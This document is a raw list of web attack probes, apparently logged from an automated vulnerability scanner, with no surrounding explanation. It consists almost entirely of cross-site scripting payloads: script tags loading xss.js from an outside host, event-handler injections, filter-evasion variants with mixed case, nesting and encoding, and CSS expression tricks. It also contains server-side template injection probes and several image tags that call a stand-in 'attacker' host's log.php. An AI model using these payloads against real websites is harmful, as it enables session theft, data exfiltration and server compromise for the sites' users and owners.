555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9582></ScRiPt>

555<ScRiPt >Fr8H(9463)</ScRiPt>

<th:t="${dfb}#foreach

dfb__${98991*97996}__::.x

555<ScRiPt >EhRg(9343)</ScRiPt>

555

555<svg \xa0onload=y17K(9735)

555<WTQLEQ>WMIKI[!+!]</WTQLEQ>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg \xa0onload=EhRg(9506)

555<isindex type=image src=1 onerror=EhRg(9176)>

555<iframe src='data:text/html

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WTQLEQ>WMIKI[!+!]</WTQLEQ>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=y17K(9330)>

<th:t="${dfb}#foreach

555<body onload=EhRg(9872)>

555

555<script>Fr8H(9735)</script>

555<ScRiPt >vGFR(9192)</ScRiPt>

555

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>Fr8H(9524)</sCr<ScRiPt>IpT>

dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=EhRg(9392)>

555<WKZS1K>Y3AXG[!+!]</WKZS1K>

555<body onload=y17K(9167)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=EhRg(9540)>

dfb[[${98991*97996}]]xca

555<ScRiPt >Fr8H(9427)</ScRiPt>

555<img/src=">" onerror=alert(9943)>

555

555<script>vGFR(9220)</script>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9256></ScRiPt>

555<ScR<ScRiPt>IpT>vGFR(9558)</sCr<ScRiPt>IpT>

555<img src=//xss.bxss.me/t/dot.gif onload=y17K(9401)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%45%68%52%67%289849%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

555<ScRiPt >vGFR(9715)</ScRiPt>

555<ScRiPt >Fr8H(9737)</ScRiPt>

555<img src=xyz OnErRor=y17K(9493)>

555\u003CScRiPt\EhRg(9490)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9251></ScRiPt>

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg \xa0onload=Fr8H(9042)

555<img/src=">" onerror=alert(9464)>

dfb__${98991*97996}__::.x

555<ScRiPt >Ud9X(9866)</ScRiPt>

555<ScRiPt >vGFR(9204)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%31%37%4B%289024%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=Fr8H(9885)>

\xf6<img zzz onmouseover=EhRg(92461) //\xf6>

555\u003CScRiPt\y17K(9743)\u003C/sCripT\u003E

555<svg \xa0onload=vGFR(9861)

555<W8UI8C>PAQKU[!+!]</W8UI8C>

555<iframe src='data:text/html

555<ScRiPt >mg95(9339)</ScRiPt>

555<isindex type=image src=1 onerror=vGFR(9280)>

555<input autofocus onfocus=EhRg(9894)>

555&lt

<a HrEF=http://xss.bxss.me></a>

555<body onload=Fr8H(9330)>

555<script>Ud9X(9849)</script>

555<WPEGGZ>GCHI6[!+!]</WPEGGZ>

\xf6<img zzz onmouseover=y17K(95641) //\xf6>

555'"()&%<zzz><ScRiPt >dVtN(9466)</ScRiPt>

555<ScR<ScRiPt>IpT>Ud9X(9138)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=y17K(9228)>

<a HrEF=jaVaScRiPT:>

555<img src=//xss.bxss.me/t/dot.gif onload=Fr8H(9508)>

'"()&%<zzz><ScRiPt >dVtN(9163)</ScRiPt>

555<iframe src='data:text/html

555<script>mg95(9548)</script>

555<ScRiPt >Ud9X(9459)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

5559550387

555}body{zzz:Expre/**/SSion(EhRg(9598))}

555<img src=xyz OnErRor=Fr8H(9218)>

555<body onload=vGFR(9654)>

555<ScR<ScRiPt>IpT>mg95(9672)</sCr<ScRiPt>IpT>

bfg3291\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3291

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9049></ScRiPt>

<a HrEF=jaVaScRiPT:>

555<img/src=">" onerror=alert(9435)>

bfgx8610\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8610

555rtYIL <ScRiPt >EhRg(9970)</ScRiPt>

555<ScRiPt >mg95(9154)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=vGFR(9361)>

555}body{zzz:Expre/**/SSion(y17K(9674))}

555<ScRiPt >Ud9X(9788)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9631></ScRiPt>

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%72%38%48%289923%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=vGFR(9950)>

555<W1QH9W>UZEL2[!+!]</W1QH9W>

555kI1qh <ScRiPt >y17K(9186)</ScRiPt>

555<svg \xa0onload=Ud9X(9618)

555<ScRiPt >mg95(9928)</ScRiPt>

555\u003CScRiPt\Fr8H(9869)\u003C/sCripT\u003E

555

555<img/src=">" onerror=alert(9092)>

555<W9AQXP>WCQVD[!+!]</W9AQXP>

555<isindex type=image src=1 onerror=Ud9X(9257)>

555<ifRAme sRc=9774.com></IfRamE>

555&lt

555<svg \xa0onload=mg95(9993)

555<ifRAme sRc=9400.com></IfRamE>

555<aKIK8kW x=9956>

%35%35%35%3C%53%63%52%69%50%74%20%3E%76%47%46%52%289555%29%3C%2F%73%43%72%69%70%54%3E

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=Fr8H(97811) //\xf6>

555<img sRc='http://attacker-9130/log.php?

555<iframe src='data:text/html

555<aVMkJPx x=9965>

555<isindex type=image src=1 onerror=mg95(9108)>

555\u003CScRiPt\vGFR(9378)\u003C/sCripT\u003E

555<body onload=Ud9X(9529)>

555<aRnxj0A<

555<input autofocus onfocus=Fr8H(9014)>

555

555<img sRc='http://attacker-9378/log.php?

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555&lt

555<iframe src='data:text/html

555'"()&%<zzz><ScRiPt >0txO(9129)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=Ud9X(9078)>

555<aYlAb7r<

\xf6<img zzz onmouseover=vGFR(96431) //\xf6>

<a HrEF=jaVaScRiPT:>

'"()&%<zzz><ScRiPt >0txO(9441)</ScRiPt>

555

555<body onload=mg95(9154)>

555}body{zzz:Expre/**/SSion(Fr8H(9821))}

5559569706

555<img src=xyz OnErRor=Ud9X(9765)>

555<input autofocus onfocus=vGFR(9373)>

555OHDcS <ScRiPt >Fr8H(9861)</ScRiPt>

dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=mg95(9942)>

555<WVCL1N>KCCDV[!+!]</WVCL1N>

<a HrEF=http://xss.bxss.me></a>

555<img/src=">" onerror=alert(9751)>

bfg6071\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6071

dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%64%39%58%289249%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\Ud9X(9906)\u003C/sCripT\u003E

bfgx10317\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10317

555<ifRAme sRc=9831.com></IfRamE>

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=mg95(9316)>

555}body{zzz:Expre/**/SSion(vGFR(9510))}

5552rXgP <ScRiPt >vGFR(9915)</ScRiPt>

555<aHmq2r8 x=9314>

<%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9934)>

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img sRc='http://attacker-9949/log.php?

555

555<WEYPE7>WFNNS[!+!]</WEYPE7>

555<ScRiPt >dVtN(9227)</ScRiPt>

555<aU9lKez<

\xf6<img zzz onmouseover=Ud9X(97121) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6D%67%39%35%289196%29%3C%2F%73%43%72%69%70%54%3E

<th:t="${dfb}#foreach

555<W7YHUJ>JSML0[!+!]</W7YHUJ>

555<ifRAme sRc=9797.com></IfRamE>

555<input autofocus onfocus=Ud9X(9213)>

555<script>dVtN(9851)</script>

555\u003CScRiPt\mg95(9101)\u003C/sCripT\u003E

555

555<axQfxAM x=9100>

<a HrEF=http://xss.bxss.me></a>

555&lt

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScR<ScRiPt>IpT>dVtN(9279)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9250/log.php?

555

\xf6<img zzz onmouseover=mg95(92371) //\xf6>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >dVtN(9474)</ScRiPt>

dfb{{98991*97996}}xca

555<input autofocus onfocus=mg95(9715)>

555<aT68rpr<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9774></ScRiPt>

555}body{zzz:Expre/**/SSion(Ud9X(9906))}

dfb[[${98991*97996}]]xca

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >dVtN(9305)</ScRiPt>

555aCatD <ScRiPt >Ud9X(9128)</ScRiPt>

dfb__${98991*97996}__::.x

555'"()&%<zzz><ScRiPt >RId2(9390)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<svg \xa0onload=dVtN(9211)

555}body{zzz:Expre/**/SSion(mg95(9515))}

555<W1VUE5>NIZV2[!+!]</W1VUE5>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'"()&%<zzz><ScRiPt >RId2(9092)</ScRiPt>

555<isindex type=image src=1 onerror=dVtN(9225)>

555riibU <ScRiPt >mg95(9420)</ScRiPt>

5559863778

555<ifRAme sRc=9546.com></IfRamE>

555<ScRiPt >0txO(9138)</ScRiPt>

555<iframe src='data:text/html

555<WUVFDW>LJYZB[!+!]</WUVFDW>

bfg8769\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8769

555<a4PMZ99 x=9004>

555<body onload=dVtN(9810)>

555<ifRAme sRc=9397.com></IfRamE>

555<img sRc='http://attacker-9624/log.php?

555<WZFRSM>DNNS0[!+!]</WZFRSM>

555<aYhz2dl x=9213>

555<img src=//xss.bxss.me/t/dot.gif onload=dVtN(9777)>

bfgx1992\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1992

555<aXJNXgm<

<%={{={@{#{${dfb}}%>

555<script>0txO(9348)</script>

555<img sRc='http://attacker-9180/log.php?

555<img src=xyz OnErRor=dVtN(9553)>

555

555<ScR<ScRiPt>IpT>0txO(9194)</sCr<ScRiPt>IpT>

555<ar04iuv<

555<img/src=">" onerror=alert(9877)>

<th:t="${dfb}#foreach

555<ScRiPt >0txO(9932)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%64%56%74%4E%289975%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9006></ScRiPt>

555'"()&%<zzz><ScRiPt >hlja(9425)</ScRiPt>

555\u003CScRiPt\dVtN(9441)\u003C/sCripT\u003E

555

'"()&%<zzz><ScRiPt >hlja(9434)</ScRiPt>

555<ScRiPt >0txO(9208)</ScRiPt>

555&lt

5559270578

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

bfg3330\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3330

555<svg \xa0onload=0txO(9295)

\xf6<img zzz onmouseover=dVtN(97571) //\xf6>

bfgx8656\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8656

555

555<input autofocus onfocus=dVtN(9222)>

555<isindex type=image src=1 onerror=0txO(9960)>

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<iframe src='data:text/html

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

dfb[[${98991*97996}]]xca

555

555}body{zzz:Expre/**/SSion(dVtN(9444))}

dfb__${98991*97996}__::.x

<th:t="${dfb}#foreach

555<iframe src='data:text/html

555hzmIh <ScRiPt >dVtN(9931)</ScRiPt>

555'"()&%<zzz><ScRiPt >5EeK(9421)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<body onload=0txO(9847)>

555<W4BT8I>EKZMX[!+!]</W4BT8I>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >RId2(9526)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=0txO(9435)>

'"()&%<zzz><ScRiPt >5EeK(9235)</ScRiPt>

555<ifRAme sRc=9896.com></IfRamE>

555<W4ZUZQ>LM3QU[!+!]</W4ZUZQ>

555

555<img src=xyz OnErRor=0txO(9148)>

555<ag1R76U x=9495>

5559440713

555'"()&%<zzz><ScRiPt >fSAd(9082)</ScRiPt>

555<script>RId2(9404)</script>

555<img/src=">" onerror=alert(9806)>

bfg1397\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1397

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9666/log.php?

'"()&%<zzz><ScRiPt >fSAd(9147)</ScRiPt>

555<aDLucIk<

%35%35%35%3C%53%63%52%69%50%74%20%3E%30%74%78%4F%289205%29%3C%2F%73%43%72%69%70%54%3E

555<ScR<ScRiPt>IpT>RId2(9603)</sCr<ScRiPt>IpT>

bfgx10855\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10855

dfb[[${98991*97996}]]xca

5559481422

555'"()&%<zzz><ScRiPt >xNsl(9950)</ScRiPt>

555\u003CScRiPt\0txO(9354)\u003C/sCripT\u003E

555<ScRiPt >RId2(9477)</ScRiPt>

bfg2162\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2162

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9715></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'"()&%<zzz><ScRiPt >xNsl(9649)</ScRiPt>

555

bfgx10482\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10482

555&lt

555<ScRiPt >RId2(9779)</ScRiPt>

5559634554

555<ScRiPt >hlja(9718)</ScRiPt>

555<svg \xa0onload=RId2(9316)

\xf6<img zzz onmouseover=0txO(98231) //\xf6>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=RId2(9128)>

555<WH8FBF>WZNMS[!+!]</WH8FBF>

bfg6552\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6552

555<input autofocus onfocus=0txO(9964)>

555

555<iframe src='data:text/html

555<script>hlja(9072)</script>

555

bfgx2839\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2839

<a HrEF=http://xss.bxss.me></a>

555<body onload=RId2(9352)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

555<img src=//xss.bxss.me/t/dot.gif onload=RId2(9980)>

555

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>hlja(9580)</sCr<ScRiPt>IpT>

555

555}body{zzz:Expre/**/SSion(0txO(9692))}

dfb{{98991*97996}}xca

555<ScRiPt >hlja(9630)</ScRiPt>

555<img src=xyz OnErRor=RId2(9636)>

555

<th:t="${dfb}#foreach

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9462></ScRiPt>

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9620)>

555OJj1X <ScRiPt >0txO(9061)</ScRiPt>

555

555<ScRiPt >hlja(9725)</ScRiPt>

dfb__${98991*97996}__::.x

%35%35%35%3C%53%63%52%69%50%74%20%3E%52%49%64%32%289442%29%3C%2F%73%43%72%69%70%54%3E

555<WBDMXP>HGKIS[!+!]</WBDMXP>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg \xa0onload=hlja(9667)

555<ifRAme sRc=9986.com></IfRamE>

555\u003CScRiPt\RId2(9483)\u003C/sCripT\u003E

555<isindex type=image src=1 onerror=hlja(9799)>

555

dfb{{98991*97996}}xca

555<ScRiPt >5EeK(9900)</ScRiPt>

dfb{{98991*97996}}xca

555&lt

555<iframe src='data:text/html

555<anO9RgP x=9043>

dfb[[${98991*97996}]]xca

555<WRAWE5>JOWSC[!+!]</WRAWE5>

\xf6<img zzz onmouseover=RId2(91181) //\xf6>

555<img sRc='http://attacker-9551/log.php?

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

555<input autofocus onfocus=RId2(9204)>

555<script>5EeK(9296)</script>

555<body onload=hlja(9139)>

555<a9lw2Q1<

dfb__${98991*97996}__::.x

555<ScR<ScRiPt>IpT>5EeK(9998)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=//xss.bxss.me/t/dot.gif onload=hlja(9565)>

555<ScRiPt >xNsl(9726)</ScRiPt>

555<ScRiPt >5EeK(9960)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<img src=xyz OnErRor=hlja(9408)>

555<ScRiPt >fSAd(9357)</ScRiPt>

555'"()&%<zzz><ScRiPt >AB9s(9467)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9956></ScRiPt>

555<WKZZSP>WHLIC[!+!]</WKZZSP>

555}body{zzz:Expre/**/SSion(RId2(9089))}

'"()&%<zzz><ScRiPt >AB9s(9109)</ScRiPt>

555<img/src=">" onerror=alert(9663)>

555zexuZ <ScRiPt >RId2(9111)</ScRiPt>

555<WFP7ZP>LUSU3[!+!]</WFP7ZP>

555<ScRiPt >5EeK(9219)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%6C%6A%61%289976%29%3C%2F%73%43%72%69%70%54%3E

555<script>xNsl(9477)</script>

555<script>fSAd(9718)</script>

555<WNOZOE>UOKUS[!+!]</WNOZOE>

5559422433

555<svg \xa0onload=5EeK(9007)

555<ifRAme sRc=9925.com></IfRamE>

555<ScR<ScRiPt>IpT>fSAd(9373)</sCr<ScRiPt>IpT>

555\u003CScRiPt\hlja(9900)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>xNsl(9632)</sCr<ScRiPt>IpT>

bfg5943\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5943

555<aGcu5KY x=9183>

555<ScRiPt >xNsl(9204)</ScRiPt>

555&lt

555<isindex type=image src=1 onerror=5EeK(9246)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9130></ScRiPt>

555<ScRiPt >fSAd(9077)</ScRiPt>

bfgx5316\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5316

555<img sRc='http://attacker-9563/log.php?

555<ScRiPt >xNsl(9058)</ScRiPt>

555'"()&%<zzz><ScRiPt >lb7k(9865)</ScRiPt>

\xf6<img zzz onmouseover=hlja(90371) //\xf6>

<%={{={@{#{${dfb}}%>

555<aO3YHe5<

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9198></ScRiPt>

'"()&%<zzz><ScRiPt >lb7k(9558)</ScRiPt>

555<input autofocus onfocus=hlja(9784)>

555<body onload=5EeK(9362)>

555<svg \xa0onload=xNsl(9318)

555<ScRiPt >fSAd(9435)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=5EeK(9507)>

555

5559784820

<th:t="${dfb}#foreach

555

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=5EeK(9284)>

<a HrEF=jaVaScRiPT:>

555<img/src=">" onerror=alert(9935)>

555<svg \xa0onload=fSAd(9696)

555}body{zzz:Expre/**/SSion(hlja(9161))}

555zh4jX <ScRiPt >hlja(9206)</ScRiPt>

555<iframe src='data:text/html

555\u003CScRiPt\5EeK(9139)\u003C/sCripT\u003E

dfb__${98991*97996}__::.x

555<isindex type=image src=1 onerror=fSAd(9851)>

555<WVVPS0>1XXHU[!+!]</WVVPS0>

555<body onload=xNsl(9906)>

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

555<ifRAme sRc=9349.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=xNsl(9264)>

\xf6<img zzz onmouseover=5EeK(95911) //\xf6>

555<ScRiPt >AB9s(9858)</ScRiPt>

555<body onload=fSAd(9104)>

555<a4Yb5XU x=9347>

555<input autofocus onfocus=5EeK(9172)>

555<img src=xyz OnErRor=xNsl(9175)>

555'"()&%<zzz><ScRiPt >vaRO(9436)</ScRiPt>

555<img sRc='http://attacker-9507/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=fSAd(9366)>

555<WVCMTE>LIFSD[!+!]</WVCMTE>

555<aP86o2V<

555<img/src=">" onerror=alert(9033)>

<a HrEF=http://xss.bxss.me></a>

'"()&%<zzz><ScRiPt >vaRO(9307)</ScRiPt>

555'"()&%<zzz><ScRiPt >D6Ux(9656)</ScRiPt>

555<script>AB9s(9879)</script>

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%4E%73%6C%289231%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=jaVaScRiPT:>

5559791361

555<img src=xyz OnErRor=fSAd(9824)>

'"()&%<zzz><ScRiPt >D6Ux(9255)</ScRiPt>

555<ScR<ScRiPt>IpT>AB9s(9529)</sCr<ScRiPt>IpT>

bfg8434\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8434

555}body{zzz:Expre/**/SSion(5EeK(9060))}

555<img/src=">" onerror=alert(9311)>

555'"()&%<zzz><ScRiPt >VLO2(9509)</ScRiPt>

555'"()&%<zzz><ScRiPt >Hh2l(9668)</ScRiPt>

5559690400

555<ScRiPt >AB9s(9885)</ScRiPt>

555\u003CScRiPt\xNsl(9042)\u003C/sCripT\u003E

555xlGKu <ScRiPt >5EeK(9388)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%53%41%64%289604%29%3C%2F%73%43%72%69%70%54%3E

bfgx3125\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3125

'"()&%<zzz><ScRiPt >VLO2(9093)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9372></ScRiPt>

bfg8592\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8592

5559565307

'"()&%<zzz><ScRiPt >Hh2l(9923)</ScRiPt>

555&lt

555<W5ATQQ>MLY3L[!+!]</W5ATQQ>

555<ScRiPt >AB9s(9562)</ScRiPt>

555\u003CScRiPt\fSAd(9279)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=xNsl(91801) //\xf6>

<%={{={@{#{${dfb}}%>

bfgx2260\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2260

bfg1552\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1552

5559343767

555<ifRAme sRc=9324.com></IfRamE>

555<svg \xa0onload=AB9s(9339)

555&lt

555<input autofocus onfocus=xNsl(9551)>

555<isindex type=image src=1 onerror=AB9s(9547)>

bfg9367\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9367

555

<%={{={@{#{${dfb}}%>

bfgx6480\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6480

555

555<abURYhX x=9675>

\xf6<img zzz onmouseover=fSAd(99351) //\xf6>

<a HrEF=http://xss.bxss.me></a>

bfgx2699\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2699

555<iframe src='data:text/html

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<input autofocus onfocus=fSAd(9377)>

<a HrEF=jaVaScRiPT:>

555<img sRc='http://attacker-9247/log.php?

555<body onload=AB9s(9878)>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=AB9s(9042)>

555

<a HrEF=http://xss.bxss.me></a>

555}body{zzz:Expre/**/SSion(xNsl(9219))}

555<axinvjj<

555

555MzbRi <ScRiPt >xNsl(9881)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555

555

555<WZXM91>T9DST[!+!]</WZXM91>

555<img src=xyz OnErRor=AB9s(9994)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9007)>

555<ifRAme sRc=9648.com></IfRamE>

555}body{zzz:Expre/**/SSion(fSAd(9029))}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555KWJNk <ScRiPt >fSAd(9169)</ScRiPt>

555<a6oe8iO x=9200>

555

555

dfb{{98991*97996}}xca

555<img sRc='http://attacker-9447/log.php?

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%42%39%73%289017%29%3C%2F%73%43%72%69%70%54%3E

555

dfb{{98991*97996}}xca

555<WXVK3J>OVD4C[!+!]</WXVK3J>

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<aYL2Qnf<

dfb[[${98991*97996}]]xca

555\u003CScRiPt\AB9s(9452)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9138.com></IfRamE>

555

dfb[[${98991*97996}]]xca

555<aohJvTn x=9536>

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

dfb{{98991*97996}}xca

555&lt

555<img sRc='http://attacker-9341/log.php?

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aCaAlT2<

dfb[[${98991*97996}]]xca

\xf6<img zzz onmouseover=AB9s(93741) //\xf6>

555<ScRiPt >vaRO(9220)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >VLO2(9352)</ScRiPt>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=AB9s(9951)>

555<W8RCEZ>ME49I[!+!]</W8RCEZ>

555<ScRiPt >D6Ux(9235)</ScRiPt>

555<WZATRP>JMGTN[!+!]</WZATRP>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

555<script>VLO2(9753)</script>

555<WZ0JU6>XOU0K[!+!]</WZ0JU6>

555<script>vaRO(9644)</script>

555<ScRiPt >Hh2l(9116)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<script>D6Ux(9740)</script>

555<ScR<ScRiPt>IpT>VLO2(9784)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>vaRO(9790)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>D6Ux(9515)</sCr<ScRiPt>IpT>

555<WWXYG3>D8MYY[!+!]</WWXYG3>

555}body{zzz:Expre/**/SSion(AB9s(9452))}

555<ScRiPt >D6Ux(9337)</ScRiPt>

555<ScRiPt >vaRO(9150)</ScRiPt>

555<script>Hh2l(9946)</script>

555'"()&%<zzz><ScRiPt >DPf4(9719)</ScRiPt>

555<ScRiPt >VLO2(9428)</ScRiPt>

555xcXao <ScRiPt >AB9s(9937)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9851></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9244></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9417></ScRiPt>

555<ScR<ScRiPt>IpT>Hh2l(9670)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >DPf4(9923)</ScRiPt>

555<ScRiPt >Hh2l(9281)</ScRiPt>

555<WXE2QO>9PZDD[!+!]</WXE2QO>

555<ScRiPt >D6Ux(9875)</ScRiPt>

555<ScRiPt >VLO2(9455)</ScRiPt>

555<ScRiPt >vaRO(9289)</ScRiPt>

555<svg \xa0onload=VLO2(9392)

555<svg \xa0onload=D6Ux(9134)

555<ifRAme sRc=9190.com></IfRamE>

5559162436

555'"()&%<zzz><ScRiPt >tNco(9795)</ScRiPt>

555<svg \xa0onload=vaRO(9891)

555<aHuLkPK x=9159>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9887></ScRiPt>

555<isindex type=image src=1 onerror=vaRO(9891)>

'"()&%<zzz><ScRiPt >tNco(9290)</ScRiPt>

555<isindex type=image src=1 onerror=VLO2(9731)>

bfg10202\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10202

555<isindex type=image src=1 onerror=D6Ux(9813)>

555<img sRc='http://attacker-9223/log.php?

555<iframe src='data:text/html

555<ScRiPt >Hh2l(9009)</ScRiPt>

555'"()&%<zzz><ScRiPt >ojgE(9731)</ScRiPt>

5559982804

555<iframe src='data:text/html

bfgx1776\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1776

555<body onload=vaRO(9428)>

555<iframe src='data:text/html

